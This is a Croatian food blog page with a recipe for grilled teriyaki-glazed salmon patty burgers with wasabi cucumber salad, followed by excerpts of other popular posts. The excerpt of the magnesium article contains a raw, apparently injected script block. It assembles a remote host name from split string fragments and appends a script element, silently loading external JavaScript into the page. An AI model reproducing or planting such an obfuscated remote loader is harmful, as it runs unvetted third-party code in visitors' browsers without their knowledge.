SOČNI POPEČCI OD LOSOSA




Sočni popečci od lososa 



Tražite li osvježenje za večer posvećenu burgerima? Ovi glazirani popečci od lososa sigurno vas neće razočarati.




Sočni popečci od lososa 


Sastojci:

Za salatu i preljev:


  • 1 1/2 žličica rižinog octa


  • 1/4 šalice plus 3 žlice majoneze (podijeljeno)


  • 2 žličice wasabi paste (opcionalno, podijeljeno)


  • 1 1/4 žličica krupne soli (podijeljeno)


  • 1 šalica tanko narezanog svježeg krastavca (oko 1 krastavac)


Za popečke od lososa i slaganje:


  • 7 peciva od krumpira (ili mekanih mliječnih peciva)


  • 1/4 šalice tanko narezanog mladog luka (oko 2 mlada luka)


  • 1 žličica sitno nasjeckanog češnjaka (oko 1 češanj)


  • 700 g filetiranog lososa bez kože i kostiju, narezanog na kocke od 2,5 cm (podijeljeno)


  • 1 žlica kukuruznog škroba


  • Neutralno ulje (poput repičinog)


  • 1/3 šalice gustog teriyaki umaka za glaziranje


  • 6 listova puterije ili druge meke zelene salate


  • Tanko narezani avokado, za nadjev





Priprema:

Pripremite salatu od krastavaca:


U zdjeli srednje veličine pjenjačom pomiješajte rižin ocat, 1/4 šalice majoneze, 1 žličicu wasabija (ako koristite) i 1/4 žličice soli. Dodajte narezane krastavce i dobro promiješajte kako bi se obložili preljevom.


Pripremite popečke od lososa:


Istrgajte 1 pecivo na komade, stavite ga u multipraktik i sameljite dok ne postane fino mrvljeno. Dodajte mladi luk, češnjak, polovicu pripremljenog lososa, preostale 3 žlice majoneze, 1 žličicu wasabija (ako koristite) i 1 žličicu soli. Miksajte u pulsevima dok se sastojci ne sjedine.


Dodajte kukuruzni škrob i preostali losos te ponovno kratko miksajte u pulsevima dok se kocke lososa ne usitne na manje komadiće. Oblikujte smjesu u 6 popečaka promjera oko 10 cm. Poslažite ih na lim za pečenje obložen papirom za pečenje.


Ispecite popečke na roštilju:


Zagrijte roštilj na srednje jaku temperaturu (oko 200°C do 230°C) i lagano nauljite rešetke. Lagano premažite popečke uljem s obje strane. Pečete ih na roštilju dok unutrašnjost ne postigne odgovarajuću temperaturu, oko 1 do 3 minute sa svake strane. Skinite ih s roštilja i s obje strane obilno premažite teriyaki umakom.


Složite burgere:


Stavite list zelene salate na donje polovice preostalih 6 peciva. Na salatu položite pečene popečke od lososa. Šupljikavom žlicom na popečke stavite marinirane krastavce, a zatim ploške avokada.


Prelijte s malo preostalog preljeva od krastavaca i poklopite gornjim polovicama peciva.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više